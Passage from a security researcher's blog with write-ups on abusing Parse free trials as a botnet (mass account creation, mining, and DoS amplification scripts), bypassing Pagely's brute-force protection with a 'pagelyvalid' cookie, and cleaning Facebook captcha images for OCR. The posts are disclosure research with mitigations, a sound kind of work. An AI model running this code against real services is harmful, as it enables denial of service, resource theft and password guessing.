Parse offer free trial accounts with <b>20GB storage</b>, <b>2TB traffic</b> per month, a maximum of <b>30 requests/sec</b> and the ability to run one process at a time for a maximum of <b>15 seconds</b> before it's killed.<br />
<br />
The stats above are for one account, but how about if we sign up for two accounts? Well that would effectively double all my quotas. How about a hundred, thousand or a million accounts? I could massively increase my limits and cause all kinds of mischief.<br />
<br />
Taking a look at the registration page (in 2013) there was no hardening at all. Account registration was as simple as sending this POST request:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDwJB3iX-utI66HC6Itw_w6qwdYPnveZwnG4SNcpulE-RIgAGzV3YFmYgDF9BOkOcCITQed0sagGHjHNB_9_stgPNBQ3S7bAYpMiRA9Pr-_jaTf_Wihq4ydALg-IZog1eczwQ8CvUG5Lyu/s1600/register.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDwJB3iX-utI66HC6Itw_w6qwdYPnveZwnG4SNcpulE-RIgAGzV3YFmYgDF9BOkOcCITQed0sagGHjHNB_9_stgPNBQ3S7bAYpMiRA9Pr-_jaTf_Wihq4ydALg-IZog1eczwQ8CvUG5Lyu/s1600/register.png" /></a></div>
<br />
In 2013 no email verification was required, no CSRF token, no captcha, no throttling. The security team had basically missed the registration page. One year later, email verification is still not required. A CSRF header is now required and so is a session cookie. But there still isn't any anti-automation so anyone could register a million trial accounts.<br />
<br />
<br />
<b><span style="font-size: large;">Building my army</span></b><br />
<br />
In 2013 it was easy to register accounts by just using Burp Intruder to send multiple registration POST requests. Because of the new session/CSRF requirements in 2014 I created a python script to perform registration.<br />
<br />
The script will connect to Parse, grab session info and CSRF header, register an account, register an app for that account then grab the API keys which we'll need to communicate with our bots.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
My account creation script:<br />
<div>
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">import requests
import re
from random import randint
for i in xrange(0,100,1):
user = "blahblah" + str(randint(100,999))
print user
print "[+] Getting Parse main page"
s = requests.Session()
r = s.get('https://parse.com')
global csrf;
csrf = re.findall('[a-zA-Z0-9+/]{43}=', r.text);
print "-----CSRF Token: " + csrf[0]
s.headers.update({'X-CSRF-Token': csrf[0]})
print("[+] Posting registration request");
payload = {'user[name]':user, 'user[email]':user+'@test.com', 'user[password]':'password1'};
r = s.post('https://parse.com/users', params=payload)
print r.status_code
print("[+] PUTing new app name");
s.headers.update({'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'})
payload = {'user[company_type]':'individual','parse_app[name]':'blahblahblah'+str(randint(100,999))};
r = s.put('https://parse.com/account', params=payload);
print r.status_code
print("[+] Grabbing keys");
r = s.get('https://parse.com/account/keys');
print r.status_code
print user +':'+ str(keys[0]).replace('<input type="text" value="','') + ':' + str(keys[5]).replace('<input type="text" value="','')</pre>
</div>
<br />
<br />
<b><span style="font-size: large;">Using the Parse tools to deploy code</span></b><br />
<br />
There are two ways to deploy code either using the Parse tool (a packaged python script) or directly through the API (api.parse.com/1/deploy). Directly connecting to the API is the cleaner option but it would have taken me a while to reverse the Parse tool and extract the integrity check code. To save time I just used the Parse tool as is. To use the tool though you need to create a project locally and add your apps before you can deploy code.<br />
<br />
Create a new project:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">parse new parsebotnet</pre>
<br />
Add every app locally:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#!/usr/bin/expect -f
for {set i 1} {$i < 101} {incr i 1} {
set timeout -1
spawn parse add
expect "Email:*"
send -- "test$i@test.com\r"
expect "Password:*"
send -- "test$i\r"
expect "Select an App:"
send -- "1\r"
send -- "\r"
}
</pre>
<br />
You can then grep the appids and keys from the global.json settings file:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">cat global.json|grep applicationId|cut -d "\"" -f4 > appid
cat global.json|grep masterKey|cut -d "\"" -f4 > keys
</pre>
<div>
<br /></div>
To send code to Parse you just put code in the cloud folder on your local machine and run the deploy command. I started off by putting the helloworld program in main.js:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Parse.Cloud.define("hello", function(request, response) {
response.success("Hello world!");
});</pre>
<br />
And uploaded it to every bot using a bash for loop:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#!/bin/bash
for i in {1..100};do echo "Job#$i";parse deploy testapp1$i & done;
</pre>
<br />
Not the cleanest approach but the Parse tool does all of the leg work.<br />
<br />
<br />
<span style="font-size: large;"><b>Running Code</b></span><br />
<br />
With the bot accounts created and code uploaded I could call the API and have the bots actually run my code. The simple approach was just using Curl:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#!/bin/bash
eof=0
exec 5<appid
exec 6<key
while [[ $eof -eq 0 ]]
do
if read l1<&5; then
read l2 <&6
curl -X POST -H "X-Parse-Application-Id: $l1" -H "X-Parse-Master-Key: $l2" -H "Content-Type: application/json" -d {} https://api.parse.com/1/functions/hello
printf "\n"
else
eof=1
fi
done
</pre>
<br />
I also put together a more snazzy python script with threading code from stackoverflow:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">import requests
import re
from random import randint
import threading
import time
import Queue
import json
with open("appid") as f:
appid = f.readlines()
with open("keys") as f:
key = f.readlines()
s = requests.Session()
def callapi(x):
s.headers.update({'X-Parse-Application-Id': appid[x].rstrip()})
s.headers.update({'X-Parse-Master-Key': key[x].rstrip()})
payload = {'' : ''}
r = s.post('https://api.parse.com/1/functions/hello', data=json.dumps(payload))
print "No: " + str(x) + " Code:" + str(r.status_code) + " Dataz:" + str(r.text)
queue = Queue.Queue()
class ThreadUrl(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue
def run(self):
while True:
#grabs host from queue
j = self.queue.get()
#grabs urls of hosts and prints first 1024 bytes of page
callapi(j)
#signals to queue job is done
self.queue.task_done()
start = time.time()
def main():
#spawn a pool of threads, and pass them queue instance
for m in range(160):
t = ThreadUrl(queue)
t.setDaemon(True)
t.start()
#populate queue with data
for n in xrange(0,1000,1):
queue.put(n)
#wait on the queue until everything has been processed
queue.join()
main()
print "Elapsed Time: %s" % (time.time() - start)
</pre>
<br />
<br />
<b><span style="font-size: large;">Do something cool!</span></b><br />
<br />
At this point I'm sure a few of you are like this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh7umq-2g6Aj37fxvZ99xH-FJ2aBYrrYAVQTu5yARpsw3m_BBloYlYD5dH6m9g2aHYn9mMXtWW82w2hWOP0pXboBSvftB2deK6-0C8gSSx6Rqsx9EYsq3FaxyVOgcU4vr2sUJSV3bsMXyo/s1600/cb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhh7umq-2g6Aj37fxvZ99xH-FJ2aBYrrYAVQTu5yARpsw3m_BBloYlYD5dH6m9g2aHYn9mMXtWW82w2hWOP0pXboBSvftB2deK6-0C8gSSx6Rqsx9EYsq3FaxyVOgcU4vr2sUJSV3bsMXyo/s1600/cb.png" /></a></div>
<br />
And I guess you're wondering, after all this configuration, <b>what can you actually do</b>?<br />
<br />
Well Parse allows you to <b>process data</b> and send <b>HTTP requests</b>. For a bad guy this means they could do things like mine bitcoins, crack hashes, DOS attacks or proxy malicious requests. For testing purposes I decided to focus on bitcoin mining and DOS proof of concepts.<br />
<br />
<br />
<b><span style="font-size: large;"><span style="color: #6aa84f;">$$$</span> Mining some coin <span style="color: #6aa84f;">$$$</span></span></b><br />
<br />
Knowing next to nothing about bitcoin mining I did a little Googling and came across the post <a href="http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html">here</a> that had a great practical explanation of mining. As mining basically consists of SHA256 hashing I decided to create a hashing benchmark script for Parse. As Parse uses Javascript I took the SHA256 crypto JS <a href="http://crypto-js.googlecode.com/svn/tags/3.1.2/build/rollups/sha256.js">here</a> and uploaded it to Parse with a for loop and timer.<br />
<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Parse.Cloud.define("sha256", function(request, response) {
<insert CryptoJS code>
start=newdate();
for(i=0;i<request.params.iter;i++){
CryptoJS.SHA256("Message" + i);
}
response.success("time: " + ((new Date())-start)/1000);
});
</pre>
<br />
Testing different iteration values I found one Parse instance could handle roughly <b>40,000</b> hashes per second which is pretty slow. Using the threaded python script I included above I continually called multiple instances and could hit about <b>6,000,000</b> hashes per second. But even this is no where near the speeds of <a href="https://en.bitcoin.it/wiki/Mining_hardware_comparison">real mining hardware</a>. (Also real mining uses double SHA256 so the 6Mh/s is probably nearer 3Mh/s in real terms)<br />
<br />
Part of the problem is the <b>15 second time limit</b> on Parse processes, another issue is Parse have <b>throttling</b> in place so if you make too many API requests they start blocking connections. So bitcoin mining seemed possible but not practical with the current restrictions.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<b><span style="font-size: large;"><span style="color: #cc0000;">D</span>enial <span style="color: #cc0000;">O</span>f <span style="color: #cc0000;">S</span>ervice</span></b><br />
<br />
Using multiple trial accounts and some form of amplification I was curious how high I could get my outbound traffic volume (going from Parse to my target).<br />
<br />
Starting with some simple httpRequest code I was able to get my instance to send <b>thirty outbound requests</b> for every <b>one API request</b>, proving amplification was possible. Two things to note though, the outbound requests go at a max rate of around 15 requests a second, also you need to remove the success/error response as that will close the process.<br />
<br />
Example test code is below:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">Parse.Cloud.define("amptest", function(request, response) {
for(j=0;j<request.params.scale;j++){
Parse.Cloud.httpRequest({
url: 'http://myip/hello',
<span class="Apple-tab-span" style="white-space: pre;"> </span>method: 'POST',
body: {
countj:j
},
success: function(httpResponse) {
//response.success(httpResponse.text);
},
<span class="Apple-tab-span" style="white-space: pre;"> </span>error: function(httpResponse) {
//response.error("Some error: "+httpResponse.status);
<span class="Apple-tab-span" style="white-space: pre;"> </span>}
});
}
});
</pre>
<br />
When scaling this up though the bottleneck is the same as the bitcoin mining, 15 second processes and max API requests per second limit the throughput. But is there any way around these restrictions?<br />
<br />
<br />
<span style="font-size: large;"><b>C&C in the cloud?</b></span><br />
<br />
It dawned on me that instead of using my workstation as the command and control I could use one of my apps as the C&C. I could send one request to my C&C app and he would communicate with all the other apps. But why stop at one C&C? Having one master, multiple slave C&C's and a pool of workers would in theory help increase throughput as I would be sending requests from multiple Parse ip addresses.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGDdgk5fTJD0dV2tWIpB_qGBHJ6ZmCcqZqPTcSe73bON-2gIbnmpwJdhJRXPGJ9hYnaoYow0X5vx2i-e7giiW0JuK1tGfB8qwoNnZrK3K0YAWO6SH6j8PVQLsQvKlTkQ30AFha5UFAJi6p/s1600/pyramid.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGDdgk5fTJD0dV2tWIpB_qGBHJ6ZmCcqZqPTcSe73bON-2gIbnmpwJdhJRXPGJ9hYnaoYow0X5vx2i-e7giiW0JuK1tGfB8qwoNnZrK3K0YAWO6SH6j8PVQLsQvKlTkQ30AFha5UFAJi6p/s1600/pyramid.png" /></a></div>
I created some recursive app code that included a list of every bot's appid and key and pushed this to every bot. The code would select bots at random and request that they run the same code. I passed a counter parameter that was incremented after each request to give the illusion of a tiered infrastructure. When the counter hit the "worker tier", instead of calling other bots, the bot would send multiple http requests to the target site.<br />
<br />
With multiple workers all simultaneously connecting to the target ip i got something like this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf6fBlEA38nLzdpRx2dQICS2_6qB1zC79wtJauoRw6kdGaLkN7FyyZEUajPeddy7a7ijSJb_EhbxI8VzBFN2c9ts1dQQ2VBIw5jR7Y2hx0Wgx2LlRZwXqY9vteseRmYQ-qOCNw9-BnsC78/s1600/dos2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf6fBlEA38nLzdpRx2dQICS2_6qB1zC79wtJauoRw6kdGaLkN7FyyZEUajPeddy7a7ijSJb_EhbxI8VzBFN2c9ts1dQQ2VBIw5jR7Y2hx0Wgx2LlRZwXqY9vteseRmYQ-qOCNw9-BnsC78/s1600/dos2.png" height="372" width="640" /></a></div>
<br />
The source ip is Parse, the destination is my local machine. Looking at the "Time" column you can see a throughput of roughly 600-1000 requests per second. For me this was a promising start and I'm sure with some code tweaks, more bots and more than one external ip, the requests per second could have been increased substantially.<br />
<br />
<br />
<b><span style="font-size: large;">90's worm + 2014 cloud = CLOUD WORM!?</span></b><br />
<br />
Although I didn't have time to build a working POC I think it may be possible to build a cloud worm on Parse. In a nutshell, as Parse allow accounts to run code and send http requests, there is the possibility that a Parse app could itself create a new account, deploy and then run code. The new account would then repeat this process and so on, gradually consuming the entire cloud's resources.<br />
<br />
Cloud worm POC is this weeks homework, class dismissed ;)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLetxRIJ4OS5Sh5MnAfHXd1w9d4jS2D4VWRChNnkgzQgLBqbkresm1XzMIPj7wCQNfpcrqnX0lzpBYhY8sT_1fUMqVKlMALTNtESnx3MwFYlt0r3mcbS6z3gCyn20pGt0OpRT4Upbzbyfo/s1600/Cloud_Worm.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLetxRIJ4OS5Sh5MnAfHXd1w9d4jS2D4VWRChNnkgzQgLBqbkresm1XzMIPj7wCQNfpcrqnX0lzpBYhY8sT_1fUMqVKlMALTNtESnx3MwFYlt0r3mcbS6z3gCyn20pGt0OpRT4Upbzbyfo/s1600/Cloud_Worm.png" height="264" width="320" /></a></div>
<br />
<br />
<span style="font-size: large;"><b>Final Thoughts</b></span><br />
<br />
Letting people run code on your servers is a risky business. To prevent abuse you need a solid sandbox and tight resource restrictions/monitoring. In this post I've only scratched the surface of Parse looking at some super obvious issues. I wish I'd had more time to dig into the cloud worm possibilities as well as background jobs which looked interesting.<br />
<br />
Mitigation-wise anti-automation and email verification on the sign-up page would have helped. As would tighter inbound/outbound throttling/resource restrictions for trial accounts and also blocking app to app access. I don't think Facebook/Parse chose to implement any of these fixes and instead decided to focus on monitoring for suspicious resource usage.<br />
<br />
Questions, comments and corrections are always appreciated! Thanks for reading.<br />
<br />
Pwndizzle out.<br />
<div>
<br /></div>
Unknownnoreply@blogger.com16tag:blogger.com,1999:blog-6613536328909163975.post-4636647032734471412014-08-26T12:24:00.002+01:002014-08-26T12:24:51.025+01:00Pagely Brute Force Mitigation BypassA while back I was looking at one of Facebook's acquisitions, Onavo, and came across their blog which was using a Wordpress install managed by Pagely. While testing for ways to brute force the login page I discovered a brute force mitigation bypass that not only affected Onavo but also every other Pagely protected site :)<br />
<br />
<br />
<span style="font-size: large;"><b>Detect Wordpress? Look for wp-login.php</b></span><br />
<br />
Wordpress is pretty common and actually pretty secure these days. One area that still needs some work though is protection for the default login page wp-login.php. Most installations leave this page publicly exposed and a lot do not implement the recommended brute force mitigations here:<br />
<br />
<a href="http://codex.wordpress.org/Brute_Force_Attacks" style="background-color: white; color: #1155cc; font-family: arial, sans-serif; font-size: 13.333333015441895px;" target="_blank">http://codex.wordpress.<wbr></wbr>org/Brute_Force_Attacks</a><br />
<br />
Onavo took the easy approach and used Pagely. Pagely offer managed security which in theory should mean you are more secure...<br />
<br />
<br />
<b><span style="font-size: large;">Testing for bruteforce</span></b><br />
<br />
So let's try and brute force Onavo's wp-login page.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin6ytc-mZAtb6VHwSP4cB5k1vgZaGZYdf17f1_4ltjS4z0Phb2xp9Ygdt9Ei9W6snBY-4DWJrANEEIF3-IqjXay1D6ywicyFmRBFfTkFdzWXf0Krt_lmvfaKjiyu8u87fTNST33dtkA8y-/s1600/nocookie.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin6ytc-mZAtb6VHwSP4cB5k1vgZaGZYdf17f1_4ltjS4z0Phb2xp9Ygdt9Ei9W6snBY-4DWJrANEEIF3-IqjXay1D6ywicyFmRBFfTkFdzWXf0Krt_lmvfaKjiyu8u87fTNST33dtkA8y-/s1600/nocookie.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
You can see after only a few requests we start getting redirected (302). This redirection actually takes you to a Pagely captcha page.</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE_vEmdXSTuTOIPmwbUhbf2SOFIMQGENGlICFhRdJ_9pRbFlHWaBI94Neffh6UKERfvNMtdkoP7F2UYDpodT1hAToBDlmUdXwdioy31Nh_KOePNUNcmF6LucdedCplZ05hzQAuQmyeQ74M/s1600/captcha1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiE_vEmdXSTuTOIPmwbUhbf2SOFIMQGENGlICFhRdJ_9pRbFlHWaBI94Neffh6UKERfvNMtdkoP7F2UYDpodT1hAToBDlmUdXwdioy31Nh_KOePNUNcmF6LucdedCplZ05hzQAuQmyeQ74M/s1600/captcha1.png" height="282" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b><span style="font-size: large;">The magical "pagelyvalid" cookie</span></b></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
I was curious how they implemented the verification once past the captcha so took a look at the response and saw that the captcha check just set a cookie called "<b>pagelyvalid</b>" to true. Hmmm. Lets try our brute force attack again but this time including the magical <b>pagelyvalid</b> cookie.</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjQnsVkWvkpk9dtZX5NQPKKdMy0isj-cr101RDtvHpjnN20SIdg7r-davHKTtflsAmuqbTE58xuV7dTh1YQmSqN5-AS_5Zln2a5bWGVdkNvgz2pOhE4oJ_2sd-z53yH3Gmjr43AbPik6iV/s1600/withcookie.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjQnsVkWvkpk9dtZX5NQPKKdMy0isj-cr101RDtvHpjnN20SIdg7r-davHKTtflsAmuqbTE58xuV7dTh1YQmSqN5-AS_5Zln2a5bWGVdkNvgz2pOhE4oJ_2sd-z53yH3Gmjr43AbPik6iV/s1600/withcookie.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Lots of 200's. So simply including the pagelyvalid true cookie we can bypass the Pagely brute force mitigation and guess passwords night and day. And like I said at the start this didn't just affect Onavo but every site that used the Pagely service. Yikes!</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<b><span style="font-size: large;">Final Thoughts</span></b></div>
<br />
A lot of sites miss brute force mitigations and rate limiting in general. Third parties can offer a quick fix but it's important to remember you are trusting your security to that third party and assuming they will do a good job (which isn't always the case!).<br />
<br />
Both Facebook and Pagely responded reasonably quickly (the Pagely CEO even sent me a message!) and a fix has now been deployed. Hope you guys found this interesting, as usual if you have questions or suggestions just drop me a comment below.<br />
<br />
Pwndizzle out<br />
<br />Unknownnoreply@blogger.com6tag:blogger.com,1999:blog-6613536328909163975.post-83549234465140955882014-07-10T16:39:00.005+01:002014-08-16T20:36:03.333+01:00How to Bypass Facebook's Text CaptchaIn this post I'll discuss Facebook's text captcha and how to bypass it with a little Gimp-Fu image cleaning and Tesseract OCR. The techniques below build on previous work where I demonstrated how to bypass <a href="http://pwndizzle.blogspot.com/2013/12/breaking-bugcrowds-captcha-with-python.html">Bugcrowd's captcha</a>.<br />
<br />
<br />
<b><span style="font-family: inherit; font-size: large;">The Facebook Captcha(s)</span></b><br />
<br />
I've seen Facebook use two captchas. The first is the <b>friend photo captcha</b>, where you are required to select your friends in pictures. This one seemed hard to bypass (except when you attack your friend's account and know all of their friends).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEintzanid-ssE9n8XQRUe_ZYQzRqnaDv1x3JrRagesAMxFf7whVWTM36MipLTZmlcPLvwAj634i5vygTG_CKR-8JWTxKBwrTMcMRBFh28fqqLRgSnlaFLqzHTT7Toq_QA54vPO1TRlD-IS7/s1600/social-captcha.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEintzanid-ssE9n8XQRUe_ZYQzRqnaDv1x3JrRagesAMxFf7whVWTM36MipLTZmlcPLvwAj634i5vygTG_CKR-8JWTxKBwrTMcMRBFh28fqqLRgSnlaFLqzHTT7Toq_QA54vPO1TRlD-IS7/s1600/social-captcha.jpg" height="246" width="400" /></a></div>
<br />
The second type is the <b>text-based captcha</b>, where you just enter the letters/numbers shown in the image. Something like this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNckcqIOpK5w8yYOpc5ar3sVVJTG_S0EhwVLHgRych6IIq3U_-j3pobOK-uOwYOoyNm9v2A-w92AfIO6t3oJjQTZDVzmXK9mUF8ERhZCxrqZABOyZQkCrgr8QYmmsfmmmcEjTJB5wC4nKk/s1600/fbcap.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNckcqIOpK5w8yYOpc5ar3sVVJTG_S0EhwVLHgRych6IIq3U_-j3pobOK-uOwYOoyNm9v2A-w92AfIO6t3oJjQTZDVzmXK9mUF8ERhZCxrqZABOyZQkCrgr8QYmmsfmmmcEjTJB5wC4nKk/s1600/fbcap.png" height="252" width="400" /></a></div>
<br />
Let's look at some ways to bypass the text captcha :)<br />
<br />
<br />
<b><span style="font-family: inherit; font-size: large;">A couple of logic flaws...</span></b><br />
<br />
My original aim was to focus on OCR with Tesseract but it turns out the captcha had logic flaws as well.<br />
<br />
<b><span style="color: red;"><u>Issue #1</u></span></b> - When entering the captcha not all of the characters needed to be correct. If you got one character wrong it would still be accepted.<br />
<br />
<b><span style="color: red;"><u>Issue #2</u></span></b> - The captcha check is case insensitive. Despite using uppercase and lowercase letters in the captcha images, the server didn't actually verify the case of user input.<br />
<br />
<b><span style="color: red;"><u>Issue #3</u></span></b> - Captcha repetition...<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVB26tSMcnVkkyfCgNxb1v3TcwhUAkGtiiojgfnhElUAnym6SPkbGCzofzsWFSsmGDa7IJ8mIoF4NpNcE8sldx2GzcI98UeuYua6K4462tNYq2L7APqwI4C-TNu6DPv0yUTBePk6jk9Lt/s1600/saywhat.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWVB26tSMcnVkkyfCgNxb1v3TcwhUAkGtiiojgfnhElUAnym6SPkbGCzofzsWFSsmGDa7IJ8mIoF4NpNcE8sldx2GzcI98UeuYua6K4462tNYq2L7APqwI4C-TNu6DPv0yUTBePk6jk9Lt/s1600/saywhat.jpg" height="320" width="320" /></a></div>
<br />
Each captcha should have contained a dynamically generated string randomly chosen from a pool of 62^7 possibilities. For some reason though I encountered repetition. This is obviously very bad as with a limited set of captchas an attacker can just download every image, solve them all and achieve a 100% bypass rate in the future. I have no idea what the cause of this issue was and Facebook didn't release any details.<br />
<br />
The logic flaws were interesting but let's not forget OCR as well!<br />
<br />
<br />
<b><span style="font-size: large;">Back to the image...</span></b><br />
<br />
Let's take a look at a Facebook captcha image:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8zcWnBnCmlpZ9-GmPmi3nOh8iqWb6CPFa_sNazsdb1Z_elnFSETWvBwn_pUq7fjR4c9bps9Hs2AiMn3D6C8NUqLI1rKqdeM6YkmIpQHSON_q-tW-Y2R-KadOS3PbELbk4s4fx8-K-uhFq/s1600/fbcap546.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8zcWnBnCmlpZ9-GmPmi3nOh8iqWb6CPFa_sNazsdb1Z_elnFSETWvBwn_pUq7fjR4c9bps9Hs2AiMn3D6C8NUqLI1rKqdeM6YkmIpQHSON_q-tW-Y2R-KadOS3PbELbk4s4fx8-K-uhFq/s1600/fbcap546.png" height="81" width="320" /></a></div>
<br />
When thinking about OCR analysis there's some things to note:<br />
<ul>
<li>Letters/numbers themselves are clearly displayed in black - <span style="color: lime;"><u>Good</u></span></li>
<li>Minimal overlaying, wiggling and distortion is used - <u><span style="color: lime;"><u>Good</u></span></u></li>
<li>Black scribbles add noise to the background - <span style="color: red;"><u>Bad</u></span></li>
<li>White scribbles effectively remove pixels from the characters - <span style="color: red;"><u>Bad</u></span></li>
</ul>
I did some testing with Tesseract and found noise, image size, character size and spacing all had a big impact on the accuracy of results. For example, directly analysing the image above will return invalid characters or no response at all. To improve Tesseract results I needed some way to get rid of the noise and repair damaged characters.<br />
<br />
<br />
<span style="font-size: large;"><b>Step #1 Cleaning </b></span><br />
<br />
I chose to use Gimp for my image cleaning as it was a program I was familiar with and it offered command line processing with Python. While the documentation (<a href="http://oldhome.schmorp.de/marc/pdb/">here</a> and <a href="http://developer.gimp.org/api/2.0/libgimp/">here</a>) and debugging aren't too good, it gets the job done.<br />
<br />
So first up I loaded the image and increased its size, I found processing a smaller image was less accurate and would reduce the quality of the final image.<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#Load image
image = pdb.gimp_file_load(file, file)
drawable = pdb.gimp_image_get_active_layer(image)
#Double image size
pdb.gimp_image_scale(image,560,142)
</pre>
<br />
Next I removed the background noise. By selecting by black and then shrinking the selection, the thin black lines would be unselected, leaving just the black letters. To actually paint over the noise I just had to re-grow my selection, invert and paint white.<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#Select by color black
pdb.gimp_by_color_select(drawable,"#000000",20,2,0,0,0,0)
#Shrink selection by 1 pixel
pdb.gimp_selection_shrink(image,1)
#Grow selection by 2 pixels
pdb.gimp_selection_grow(image,2)
#Fill black
pdb.gimp_context_set_foreground((0,0,0))
pdb.gimp_edit_fill(drawable,0)
pdb.gimp_edit_fill(drawable,0)
pdb.gimp_edit_fill(drawable,0)
#Invert selection
pdb.gimp_selection_invert(image)
#Fill white
pdb.gimp_context_set_foreground((255,255,255))
pdb.gimp_edit_fill(drawable,0)
</pre>
<br />
With the outside black noise removed I inverted again to reselect the letters/numbers then translated up and down, painting after each translation. This helped fill in the white lines that in general streaked horizontally through the black characters.<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#Invert selection
pdb.gimp_selection_invert(image)
pdb.gimp_context_set_foreground((0,0,0))
#Translate selection up 4 pixels and paint
pdb.gimp_selection_translate(image,0,4)
pdb.gimp_edit_fill(drawable,0)
#Translate selection down 10 pixels and paint
pdb.gimp_selection_translate(image,0,-10)
pdb.gimp_edit_fill(drawable,0)
</pre>
<br />
With the processing done I resized the image back to its original size and saved it.<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">#Resize image
pdb.gimp_image_scale(image,280,71)
#Export
pdb.gimp_file_save(image, drawable, file, file)
pdb.gimp_image_delete(image)
</pre>
<br />
I've included the full script at the bottom of this post. I ran it with the following command:<br />
<pre style="background-color: #f9f9f9; border: 1px dashed rgb(47, 111, 171); padding: 1em;">gimp-console-2.8.exe -i -b "(python-clean RUN-NONINTERACTIVE \"test.png\")" -b "(gimp-quit 0)"
</pre>
<br />
As an example, cleaning the image above I got this:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
